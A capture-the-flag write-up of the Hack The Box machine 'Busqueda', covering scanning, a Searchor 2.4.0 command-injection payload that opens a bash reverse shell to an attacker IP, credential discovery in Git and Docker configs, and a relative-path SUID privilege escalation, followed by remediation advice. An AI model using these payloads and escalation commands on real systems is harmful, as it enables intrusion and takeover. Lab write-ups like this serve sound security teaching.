Busqueda writeup
Box name: Busqueda
Difficulty: Easy
OS: Linux
Overview: Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user's Gitea account. Further analysis of the system checkup script's source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.
Link: https://app.hackthebox.com/machines/Busqueda?sort_by=created_at&sort_type=desc
Machine IP: 10.129.26.149
Ran rustscan to scan the machine.
rustscan -a 10.129.26.149 –ulimit 5000 -b 2000 — -A -Pn
Navigated to the webserver. Had to add searcher.htb to /etc/hosts.
It looks like some searchengine-esque type website. I checked source code and it looks like it uses Searchor 2.4.0 (line 423).
Did some googling and found this https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection/blob/main/exploit.sh. Set up a listener on 1337 then pasted this into the query:
‘,__import__(‘os’).system(‘bash -c “bash -i >& /dev/tcp/10.10.16.147/1337 0>&1″‘))#
And we got a shell.
Stabilized the shell.
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
I tried throwing linpeas on the machine but it deleted on it’s own so there must be some sort of security. Did some local enumeration and eventually found some git credentials.
http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
These credentials are apparently also the same credentials for the svc account we currently have.
I can’t read what the file does so I just tried running it and it gave me possible arguments.
Ran the first command to check it out and it shows us docker containers as mentioned.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
We can find credentials in these containers.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ gitea
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ mysql_db
Tried these on root but I was able to get in. I was able to get in the gitea.searcher.htb with administrator:yuiu1hoiu4i5ho1uh
Before fully diving into that I did research on the last command full-checkup we had access to and we can actually get root from that as it’s using a relative path.
cd /tmp && echo -e ‘#!/bin/bash\nchmod +s /bin/bash’ > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup && /bin/bash -p
GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added searcher.htb to /etc/hosts and browsed to the web server. Found a search engine style web application. Checked the page source and identified Searchor 2.4.0 on line 423.
rustscan -a 10.129.26.149 –ulimit 5000 -b 2000 — -A -Pn
2 – Initial Access – Searchor 2.4.0 command injection Researched Searchor 2.4.0 and found a public arbitrary command injection exploit. The search query was passed unsanitised into a Python eval call, allowing injection of arbitrary Python code. Injected a bash reverse shell via the search field and caught a shell as the svc user.
‘,__import__(‘os’).system(‘bash -c “bash -i >& /dev/tcp/10.10.16.147/1337 0>&1″‘))#
3 – Credential discovery in Git config Stabilised the shell and attempted to run LinPEAS but it was deleted automatically. Performed manual enumeration and found a Git config file containing credentials for the cody user embedded in a Gitea remote URL. These credentials also worked for the svc OS account.
Credentials recovered: cody:jh1usoih2bkjaspwe92
4 – Docker container inspection for admin credentials Found a system-checkup.py script executable as root via sudo. Ran it with the docker-ps argument to list running containers, then used docker-inspect with a Go template to dump container environment variables from the gitea and mysql_db containers. Recovered administrator credentials for the Gitea instance.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ gitea sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .Config}}’ mysql_db
Credentials recovered: admin:yuiu1hoiu4i5ho1uh
5 – Privilege Escalation – relative path hijack in system-checkup.py Researched the full-checkup argument and found the script called full-checkup.sh using a relative path with no absolute path validation. Created a malicious full-checkup.sh in /tmp that set the SUID bit on /bin/bash, then ran the script as root from /tmp to execute it. Spawned a root shell.
cd /tmp && echo -e ‘#!/bin/bash\nchmod +s /bin/bash’ > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup && /bin/bash -p
Key Takeaways
- Command injection in Searchor 2.4.0 – The search query was passed directly into a Python eval call with no sanitisation, allowing arbitrary code execution. User input must never be passed to eval, exec, or any dynamic code execution function. All input must be validated and sanitised before use.
- Plaintext credentials embedded in Git remote URL – The cody credentials were stored in plaintext in a .git/config file as part of the remote URL. Credentials must never be embedded in Git URLs or committed to any repository. Use SSH keys or credential helpers and audit all repositories for embedded secrets.
- Credentials in Docker container environment variables – Administrator credentials for Gitea and database credentials were stored in container environment variables, readable by anyone with docker inspect access. Secrets must be injected using a dedicated secrets management solution rather than environment variables and docker inspect must be restricted to authorised users.
- Relative path execution in a root sudo script – The system-checkup.py script called full-checkup.sh using a relative path, allowing any user with sudo access to the script to plant a malicious version in the current directory. Scripts executed with elevated privileges must use absolute paths for all called binaries and scripts.
- Sudo access to Docker inspection enabling credential harvesting – The ability to run docker-inspect as root exposed all container environment variables including admin credentials. Docker management commands executed with sudo must be treated as equivalent to root access and must never be granted to standard users without strict controls.
Remediation
[Immediate] Patch Searchor to remediate the command injection vulnerability Update Searchor to a patched version that does not pass user input to eval or any dynamic execution function. Conduct a full code review of the application to identify any other instances of unsafe input handling. Deploy a WAF with command injection detection rules as a compensating control during remediation.
[Immediate] Remove credentials from all Git config files and repositories Audit all Git repositories and config files across the system for embedded credentials in remote URLs or configuration values. Remove any findings, rotate the affected credentials, and rewrite Git history where necessary. Implement pre-commit hooks and a secrets scanning tool to prevent credentials being committed going forward.
[Immediate] Remove credentials from Docker container environment variables Migrate all secrets currently passed as container environment variables to a secrets management solution such as Docker Secrets or HashiCorp Vault. Rotate the Gitea admin and database credentials immediately. Restrict docker inspect access to authorised administrators only.
[Immediate] Fix the relative path vulnerability in system-checkup.py Update system-checkup.py to use absolute paths for all script and binary references. Restrict the sudo rule to prevent users from influencing the working directory from which the script is called. Conduct a review of all scripts executable via sudo for similar relative path issues.
[Short-term] Restrict sudo rules for Docker and system scripts Audit all sudoers entries referencing Docker commands and system scripts. Apply the principle of least privilege and remove any sudo rules that grant capabilities equivalent to unrestricted root access. Any sudo rule allowing Docker interaction must be considered a potential full root escalation path.
[Long-term] Implement secrets management and a secure development baseline Establish a policy prohibiting hardcoded credentials in application code, Git configs, and container definitions. Integrate secrets scanning into the CI/CD pipeline and conduct regular audits of running container configurations for exposed environment variables. Include internally developed scripts and applications in the scope of regular security assessments.
Hacking Insights by Max Bautista 
Leave a comment